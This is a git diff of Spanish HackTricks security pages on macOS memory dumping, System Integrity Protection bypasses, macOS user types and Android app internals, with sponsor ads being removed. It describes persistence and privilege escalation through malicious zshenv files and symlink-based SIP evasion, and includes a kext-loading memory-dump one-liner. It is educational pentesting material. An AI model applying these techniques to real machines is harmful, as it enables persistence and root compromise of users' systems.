- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -653,7 +628,7 @@ Aprende y practica Hacking en GCP: {% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md index 775fe65ce..052fcde49 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md @@ -1,57 +1,44 @@ -# Volcado de memoria de macOS +# macOS Memory Dumping {% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoya a HackTricks +Support HackTricks -* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) -
+## Memory Artifacts -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**. +### Swap Files -El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información. +Los archivos de intercambio, como `/private/var/vm/swapfile0`, sirven como **cachés cuando la memoria física está llena**. Cuando no hay más espacio en la memoria física, sus datos se transfieren a un archivo de intercambio y luego se traen de vuelta a la memoria física según sea necesario. Pueden estar presentes múltiples archivos de intercambio, con nombres como swapfile0, swapfile1, y así sucesivamente. -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: +### Hibernate Image -{% embed url="https://whiteintel.io" %} +El archivo ubicado en `/private/var/vm/sleepimage` es crucial durante el **modo de hibernación**. **Los datos de la memoria se almacenan en este archivo cuando OS X hiberna**. Al despertar la computadora, el sistema recupera los datos de la memoria de este archivo, permitiendo al usuario continuar donde lo dejó. -*** +Vale la pena señalar que en los sistemas MacOS modernos, este archivo generalmente está cifrado por razones de seguridad, lo que dificulta la recuperación. -## Artefactos de memoria +* Para verificar si el cifrado está habilitado para el sleepimage, se puede ejecutar el comando `sysctl vm.swapusage`. Esto mostrará si el archivo está cifrado. -### Archivos de intercambio +### Memory Pressure Logs -Los archivos de intercambio, como `/private/var/vm/swapfile0`, sirven como **cachés cuando la memoria física está llena**. Cuando ya no hay espacio en la memoria física, sus datos se transfieren a un archivo de intercambio y luego se devuelven a la memoria física según sea necesario. Pueden estar presentes varios archivos de intercambio, con nombres como swapfile0, swapfile1, y así sucesivamente. +Otro archivo importante relacionado con la memoria en los sistemas MacOS es el **registro de presión de memoria**. Estos registros se encuentran en `/var/log` y contienen información detallada sobre el uso de memoria del sistema y eventos de presión. Pueden ser particularmente útiles para diagnosticar problemas relacionados con la memoria o entender cómo el sistema gestiona la memoria a lo largo del tiempo. -### Imagen de hibernación - -El archivo ubicado en `/private/var/vm/sleepimage` es crucial durante el **modo de hibernación**. **Los datos de la memoria se almacenan en este archivo cuando macOS hiberna**. Al despertar la computadora, el sistema recupera los datos de la memoria de este archivo, permitiendo al usuario continuar donde lo dejó. - -Cabe destacar que en los sistemas MacOS modernos, este archivo suele estar encriptado por razones de seguridad, lo que dificulta la recuperación. - -* Para verificar si la encriptación está habilitada para sleepimage, se puede ejecutar el comando `sysctl vm.swapusage`. Esto mostrará si el archivo está encriptado. - -### Registros de presión de memoria - -Otro archivo importante relacionado con la memoria en los sistemas MacOS son los **registros de presión de memoria**. Estos registros se encuentran en `/var/log` y contienen información detallada sobre el uso de memoria del sistema y eventos de presión. Pueden ser particularmente útiles para diagnosticar problemas relacionados con la memoria o comprender cómo el sistema gestiona la memoria con el tiempo. - -## Volcado de memoria con osxpmem +## Dumping memory with osxpmem Para volcar la memoria en una máquina MacOS, puedes usar [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip). -**Nota**: Las siguientes instrucciones solo funcionarán para Macs con arquitectura Intel. Esta herramienta está archivada y la última versión fue en 2017. El binario descargado utilizando las instrucciones a continuación apunta a chips Intel ya que Apple Silicon no existía en 2017. Puede ser posible compilar el binario para arquitectura arm64, pero tendrás que intentarlo por ti mismo. +**Nota**: Las siguientes instrucciones solo funcionarán para Macs con arquitectura Intel. Esta herramienta ahora está archivada y la última versión fue en 2017. El binario descargado utilizando las instrucciones a continuación está dirigido a chips Intel, ya que Apple Silicon no existía en 2017. Puede ser posible compilar el binario para arquitectura arm64, pero tendrás que intentarlo por tu cuenta. ```bash #Dump raw format sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem @@ -66,9 +53,9 @@ sudo kextutil "/tmp/MacPmem.kext" #Allow the kext in "Security & Privacy --> General" sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem ``` -**Otros errores** podrían ser solucionados permitiendo la carga del kexto en "Seguridad y privacidad --> General", simplemente **permítelo**. +**Otros errores** pueden ser solucionados **permitiendo la carga del kext** en "Seguridad y Privacidad --> General", simplemente **permítelo**. -También puedes usar este **oneliner** para descargar la aplicación, cargar el kexto y volcar la memoria: +También puedes usar esta **línea única** para descargar la aplicación, cargar el kext y volcar la memoria: {% code overflow="wrap" %} ```bash @@ -77,17 +64,6 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem- ``` {% endcode %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda impulsado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares ladrones**. - -El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. - -Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -99,7 +75,7 @@ Aprende y practica Hacking en GCP: {% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md index 5c07d7037..fe8e3b0cb 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md @@ -15,19 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**. - -Su objetivo principal en WhiteIntel es combatir la toma de control de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** ## **Información Básica** @@ -38,7 +25,7 @@ Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** * **/sbin** * **/usr** -Las reglas que rigen el comportamiento de SIP se definen en el archivo de configuración ubicado en **`/System/Library/Sandbox/rootless.conf`**. Dentro de este archivo, las rutas que están precedidas por un asterisco (\*) se denotan como excepciones a las estrictas restricciones de SIP. +Las reglas que rigen el comportamiento de SIP se definen en el archivo de configuración ubicado en **`/System/Library/Sandbox/rootless.conf`**. Dentro de este archivo, las rutas que están precedidas por un asterisco (\*) se denotan como excepciones a las estrictas restricciones de SIP. Considera el siguiente ejemplo: ```javascript @@ -54,7 +41,7 @@ Para verificar si un directorio o archivo está protegido por SIP, puedes usar e ls -lOd /usr/libexec/cups drwxr-xr-x 11 root wheel sunlnk 352 May 13 00:29 /usr/libexec/cups ``` -En este caso, el **`sunlnk`** flag significa que el directorio `/usr/libexec/cups` **no puede ser eliminado**, aunque los archivos dentro de él pueden ser creados, modificados o eliminados. +En este caso, el **`sunlnk`** flag significa que el directorio `/usr/libexec/cups` **no puede ser eliminado**, aunque se pueden crear, modificar o eliminar archivos dentro de él. Por otro lado: ```bash @@ -63,14 +50,14 @@ drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec ``` Aquí, la **`restricted`** flag indica que el directorio `/usr/libexec` está protegido por SIP. En un directorio protegido por SIP, no se pueden crear, modificar o eliminar archivos. -Además, si un archivo contiene el atributo **`com.apple.rootless`** atributo **extendido**, ese archivo también estará **protegido por SIP**. +Además, si un archivo contiene el atributo **`com.apple.rootless`** atributo extendido, ese archivo también estará **protegido por SIP**. **SIP también limita otras acciones de root** como: * Cargar extensiones de kernel no confiables * Obtener puertos de tarea para procesos firmados por Apple * Modificar variables de NVRAM -* Permitir depuración del kernel +* Permitir la depuración del kernel Las opciones se mantienen en la variable nvram como un bitflag (`csr-active-config` en Intel y `lp-sip0` se lee del Device Tree arrancado para ARM). Puedes encontrar las flags en el código fuente de XNU en `csr.sh`: @@ -98,7 +85,7 @@ csrutil enable --without debug [**Aprende más sobre la información de SIP en esta charla**](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)**.** -## Bypasses de SIP +## Bypass de SIP Eludir SIP permite a un atacante: @@ -113,7 +100,7 @@ Eludir SIP permite a un atacante: ### Archivo SIP Inexistente -Una posible laguna es que si un archivo está especificado en **`rootless.conf` pero no existe actualmente**, puede ser creado. El malware podría explotar esto para **establecer persistencia** en el sistema. Por ejemplo, un programa malicioso podría crear un archivo .plist en `/System/Library/LaunchDaemons` si está listado en `rootless.conf` pero no presente. +Una posible laguna es que si un archivo está especificado en **`rootless.conf` pero no existe actualmente**, se puede crear. El malware podría explotar esto para **establecer persistencia** en el sistema. Por ejemplo, un programa malicioso podría crear un archivo .plist en `/System/Library/LaunchDaemons` si está listado en `rootless.conf` pero no presente. ### com.apple.rootless.install.heritable @@ -137,7 +124,7 @@ El demonio **`system_installd`** instalará paquetes que han sido firmados por * Los investigadores encontraron que durante la instalación de un paquete firmado por Apple (archivo .pkg), **`system_installd`** **ejecuta** cualquier **script post-instalación** incluido en el paquete. Estos scripts son ejecutados por el shell predeterminado, **`zsh`**, que automáticamente **ejecuta** comandos del archivo **`/etc/zshenv`**, si existe, incluso en modo no interactivo. Este comportamiento podría ser explotado por atacantes: al crear un archivo malicioso `/etc/zshenv` y esperar a que **`system_installd` invoque `zsh`**, podrían realizar operaciones arbitrarias en el dispositivo. -Además, se descubrió que **`/etc/zshenv` podría ser utilizado como una técnica de ataque general**, no solo para un bypass de SIP. Cada perfil de usuario tiene un archivo `~/.zshenv`, que se comporta de la misma manera que `/etc/zshenv` pero no requiere permisos de root. Este archivo podría ser utilizado como un mecanismo de persistencia, activándose cada vez que se inicia `zsh`, o como un mecanismo de elevación de privilegios. Si un usuario administrador se eleva a root usando `sudo -s` o `sudo `, el archivo `~/.zshenv` se activaría, elevando efectivamente a root. +Además, se descubrió que **`/etc/zshenv` podría ser utilizado como una técnica de ataque general**, no solo para un bypass de SIP. Cada perfil de usuario tiene un archivo `~/.zshenv`, que se comporta de la misma manera que `/etc/zshenv` pero no requiere permisos de root. Este archivo podría ser utilizado como un mecanismo de persistencia, activándose cada vez que se inicia `zsh`, o como un mecanismo de elevación de privilegios. Si un usuario administrador se eleva a root usando `sudo -s` o `sudo `, el archivo `~/.zshenv` se activaría, elevándose efectivamente a root. #### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) @@ -187,7 +174,7 @@ Como [**se detalla en esta publicación del blog**](https://blog.kandji.io/apple ```bash /usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg" ``` -y fue posible crear un symlink en `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` que permitiría a un usuario **desbloquear cualquier archivo, eludiendo la protección SIP**. +y fue posible crear un symlink en `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` que permitiría a un usuario **eliminar restricciones de cualquier archivo, eludiendo la protección SIP**. ### **com.apple.rootless.install** @@ -207,7 +194,7 @@ Aquí hay una mirada más detallada: 1. **Sistema Inmutable**: Las Instantáneas del Sistema Selladas hacen que el volumen del sistema macOS sea "inmutable", lo que significa que no puede ser modificado. Esto previene cualquier cambio no autorizado o accidental en el sistema que podría comprometer la seguridad o la estabilidad del sistema. 2. **Actualizaciones de Software del Sistema**: Cuando instalas actualizaciones o mejoras de macOS, macOS crea una nueva instantánea del sistema. El volumen de inicio de macOS luego utiliza **APFS (Apple File System)** para cambiar a esta nueva instantánea. Todo el proceso de aplicación de actualizaciones se vuelve más seguro y confiable, ya que el sistema siempre puede revertir a la instantánea anterior si algo sale mal durante la actualización. -3. **Separación de Datos**: En conjunto con el concepto de separación de Datos y Volumen del Sistema introducido en macOS Catalina, la característica de Instantánea del Sistema Sellada asegura que todos tus datos y configuraciones se almacenen en un volumen de "**Datos**" separado. Esta separación hace que tus datos sean independientes del sistema, lo que simplifica el proceso de actualizaciones del sistema y mejora la seguridad del sistema. +3. **Separación de Datos**: En conjunto con el concepto de separación de Datos y Volumen del Sistema introducido en macOS Catalina, la característica de Instantánea del Sistema Sellada asegura que todos tus datos y configuraciones se almacenen en un volumen separado "**Data**". Esta separación hace que tus datos sean independientes del sistema, lo que simplifica el proceso de actualizaciones del sistema y mejora la seguridad del sistema. Recuerda que estas instantáneas son gestionadas automáticamente por macOS y no ocupan espacio adicional en tu disco, gracias a las capacidades de compartición de espacio de APFS. También es importante notar que estas instantáneas son diferentes de las **instantáneas de Time Machine**, que son copias de seguridad accesibles por el usuario de todo el sistema. @@ -244,17 +231,17 @@ El comando **`diskutil apfs list`** lista los **detalles de los volúmenes APFS* [...] +-> Volumen disk3s5 281959B7-07A1-4940-BDDF-6419360F3327 | --------------------------------------------------- -| Disco de Volumen APFS (Rol): disk3s5 (Datos) -| Nombre: Macintosh HD - Datos (Sin distinción de mayúsculas) +| Disco de Volumen APFS (Rol): disk3s5 (Data) +| Nombre: Macintosh HD - Data (Sin distinción de mayúsculas) | Punto de Montaje: /System/Volumes/Data | Capacidad Consumida: 412071784448 B (412.1 GB) | Sellado: No | FileVault: Sí (Desbloqueado) -En la salida anterior es posible ver que **las ubicaciones accesibles por el usuario** están montadas bajo `/System/Volumes/Data`. +En la salida anterior es posible ver que **los lugares accesibles por el usuario** están montados bajo `/System/Volumes/Data`. -Además, la **instantánea del volumen del sistema de macOS** está montada en `/` y está **sellada** (firmada criptográficamente por el OS). Por lo tanto, si se elude SIP y se modifica, el **OS no arrancará más**. +Además, la **instantánea del volumen del sistema de macOS** está montada en `/` y está **sellada** (firmada criptográficamente por el OS). Así que, si se elude SIP y se modifica, el **OS ya no arrancará**. También es posible **verificar que el sellado está habilitado** ejecutando: ```bash @@ -266,17 +253,6 @@ Además, el disco de instantánea también se monta como **solo lectura**: mount /dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled) ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index 03697e67d..fc1b12a86 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -1,71 +1,56 @@ -# Usuarios de macOS +# macOS Users {% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoya a HackTricks +Support HackTricks -* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) -
+### Common Users -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo de información**. - -El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** - -### Usuarios Comunes - -* **Daemon**: Usuario reservado para demonios del sistema. Los nombres de cuenta de demonio predeterminados generalmente comienzan con un "\_": +* **Daemon**: Usuario reservado para demonios del sistema. Los nombres de cuenta de demonios predeterminados suelen comenzar con un "\_": ```bash _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs ``` * **Guest**: Cuenta para invitados con permisos muy estrictos - -{% code overflow="wrap" %} ```bash state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess") for i in "${state[@]}"; do sysadminctl -"${i}" status; done; ``` {% endcode %} -* **Nadie**: Los procesos se ejecutan con este usuario cuando se requieren permisos mínimos +* **Nadie**: Los procesos se ejecutan con este usuario cuando se requieren permisos mínimos. * **Root** ### Privilegios de Usuario -* **Usuario Estándar:** El usuario más básico. Este usuario necesita permisos otorgados por un usuario administrador al intentar instalar software u realizar otras tareas avanzadas. No pueden hacerlo por sí mismos. -* **Usuario Admin**: Un usuario que opera la mayor parte del tiempo como un usuario estándar pero también tiene permitido realizar acciones de root como instalar software y otras tareas administrativas. Todos los usuarios pertenecientes al grupo de administradores **tienen acceso a root a través del archivo sudoers**. -* **Root**: Root es un usuario permitido para realizar casi cualquier acción (hay limitaciones impuestas por protecciones como la Protección de la Integridad del Sistema). +* **Usuario Estándar:** El más básico de los usuarios. Este usuario necesita permisos otorgados por un usuario administrador al intentar instalar software o realizar otras tareas avanzadas. No puede hacerlo por su cuenta. +* **Usuario Administrador**: Un usuario que opera la mayor parte del tiempo como un usuario estándar, pero también se le permite realizar acciones de root, como instalar software y otras tareas administrativas. Todos los usuarios que pertenecen al grupo de administradores **tienen acceso a root a través del archivo sudoers**. +* **Root**: Root es un usuario que puede realizar casi cualquier acción (hay limitaciones impuestas por protecciones como la Protección de Integridad del Sistema). * Por ejemplo, root no podrá colocar un archivo dentro de `/System` {% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoya a HackTricks +Support HackTricks -* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/mobile-pentesting/android-app-pentesting/android-applications-basics.md index cf8607ac0..5dad0b9c8 100644 --- a/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -15,14 +15,6 @@ Aprende y practica Hacking en GCP: {% endhint %} -**Grupo de Seguridad Try Hard** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Modelo de Seguridad de Android **Hay dos capas:** @@ -32,7 +24,7 @@ Aprende y practica Hacking en GCP: @@ -167,7 +159,7 @@ Esta intención debe ser declarada dentro del manifiesto como en el siguiente ej ``` Un intent-filter necesita coincidir con la **acción**, **datos** y **categoría** para recibir un mensaje. -El proceso de "resolución de Intent" determina qué aplicación debe recibir cada mensaje. Este proceso considera el **atributo de prioridad**, que se puede establecer en la **declaración del intent-filter**, y **el que tenga la mayor prioridad será seleccionado**. Esta prioridad se puede establecer entre -1000 y 1000 y las aplicaciones pueden usar el valor `SYSTEM_HIGH_PRIORITY`. Si surge un **conflicto**, aparece una ventana de "elección" para que el **usuario pueda decidir**. +El proceso de "resolución de Intent" determina qué aplicación debe recibir cada mensaje. Este proceso considera el **atributo de prioridad**, que se puede establecer en la **declaración de intent-filter**, y **el que tenga la mayor prioridad será seleccionado**. Esta prioridad se puede establecer entre -1000 y 1000 y las aplicaciones pueden usar el valor `SYSTEM_HIGH_PRIORITY`. Si surge un **conflicto**, aparece una ventana de "elección" para que el **usuario pueda decidir**. ### Intents Explícitos @@ -183,7 +175,7 @@ context.startService(intent); ``` ### Pending Intents -Estos permiten que otras aplicaciones **realicen acciones en nombre de su aplicación**, utilizando la identidad y los permisos de su app. Al construir un Pending Intent, se debe **especificar un intent y la acción a realizar**. Si el **intent declarado no es explícito** (no declara qué intent puede llamarlo), una **aplicación maliciosa podría realizar la acción declarada** en nombre de la app víctima. Además, **si no se especifica una acción**, la app maliciosa podrá realizar **cualquier acción en nombre de la víctima**. +Estos permiten que otras aplicaciones **realicen acciones en nombre de su aplicación**, utilizando la identidad y los permisos de su app. Al construir un Pending Intent, se debe **especificar un intent y la acción a realizar**. Si el **intent declarado no es explícito** (no declara qué intent puede llamarlo), una **aplicación maliciosa podría realizar la acción declarada** en nombre de la app víctima. Además, **si no se especifica una acción**, la app maliciosa podrá hacer **cualquier acción en nombre de la víctima**. ### Broadcast Intents @@ -238,7 +230,7 @@ Aprende a [llamar enlaces profundos sin usar páginas HTML](./#exploiting-scheme ## AIDL - Lenguaje de Definición de Interfaces de Android -El **Lenguaje de Definición de Interfaces de Android (AIDL)** está diseñado para facilitar la comunicación entre el cliente y el servicio en aplicaciones de Android a través de **comunicación entre procesos** (IPC). Dado que no se permite acceder directamente a la memoria de otro proceso en Android, AIDL simplifica el proceso al marshalling de objetos en un formato entendido por el sistema operativo, facilitando así la comunicación entre diferentes procesos. +El **Lenguaje de Definición de Interfaces de Android (AIDL)** está diseñado para facilitar la comunicación entre cliente y servicio en aplicaciones de Android a través de **comunicación entre procesos** (IPC). Dado que no se permite acceder directamente a la memoria de otro proceso en Android, AIDL simplifica el proceso al marshalling de objetos en un formato entendido por el sistema operativo, facilitando así la comunicación entre diferentes procesos. ### Conceptos Clave @@ -256,7 +248,7 @@ Estos incluyen: **Actividades, Servicios, Receptores de Difusión y Proveedores. En las aplicaciones de Android, **las actividades** son como pantallas, mostrando diferentes partes de la interfaz de usuario de la app. Una app puede tener muchas actividades, cada una presentando una pantalla única al usuario. -La **actividad de lanzamiento** es la puerta principal a una app, lanzada cuando tocas el ícono de la app. Se define en el archivo de manifiesto de la app con intenciones específicas MAIN y LAUNCHER: +La **actividad de lanzamiento** es la puerta principal a una app, lanzada cuando tocas el ícono de la app. Está definida en el archivo de manifiesto de la app con intenciones específicas MAIN y LAUNCHER: ```markup @@ -309,7 +301,7 @@ Una aplicación interesante de los servicios incluye la reproducción de música Los **filtros de intención** son cruciales en ambos métodos de registro, determinando qué transmisiones activan el receptor. Una vez que se envía una transmisión coincidente, se invoca el método **`onReceive`** del receptor, lo que permite que la aplicación reaccione en consecuencia, como ajustar el comportamiento en respuesta a una alerta de batería baja. -Las transmisiones pueden ser **asíncronas**, alcanzando todos los receptores sin orden, o **sincrónicas**, donde los receptores reciben la transmisión según prioridades establecidas. Sin embargo, es importante tener en cuenta el riesgo de seguridad potencial, ya que cualquier aplicación puede priorizarse a sí misma para interceptar una transmisión. +Las transmisiones pueden ser **asíncronas**, alcanzando todos los receptores sin orden, o **sincrónicas**, donde los receptores reciben la transmisión según las prioridades establecidas. Sin embargo, es importante tener en cuenta el riesgo de seguridad potencial, ya que cualquier aplicación puede priorizarse a sí misma para interceptar una transmisión. Para entender la funcionalidad de un receptor, busque el método **`onReceive`** dentro de su clase. El código de este método puede manipular la Intent recibida, destacando la necesidad de validación de datos por parte de los receptores, especialmente en **Broadcasts Ordenados**, que pueden modificar o eliminar la Intent. @@ -343,7 +335,7 @@ Para más información, consulta: ## WebViews -WebViews son como **mini navegadores web** dentro de aplicaciones Android, extrayendo contenido ya sea de la web o de archivos locales. Enfrentan riesgos similares a los navegadores regulares, sin 